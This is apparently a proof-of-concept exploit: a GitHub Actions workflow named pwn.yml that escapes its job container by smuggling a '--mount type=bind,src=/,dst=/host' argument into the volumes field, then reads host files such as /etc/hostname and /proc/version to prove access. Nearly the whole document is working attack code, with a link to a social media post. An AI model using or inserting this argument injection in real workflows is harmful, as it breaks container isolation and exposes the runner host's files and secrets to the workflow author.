GitHub Actions container escape via volume injection

pwn.yml

name: pwn
on: [workflow_dispatch]
jobs:
  container-test-job:
    runs-on: ubuntu-latest
    container:
      image: node:18
      env:
        NODE_ENV: development
      ports:
        - 80
      volumes:
        - '/tmp/vol\" --mount type=bind,src=/,dst=/host\"'
      options: --user 1000:1000 --cpus 1
    steps:
      - name: prove host access
        run: |
          id
          cat /etc/hostname
          cat /host\\/etc/hostname || true
          cat /host\\/proc/version || true

https://x.com/RandomDhiraj/status/2020391080567664958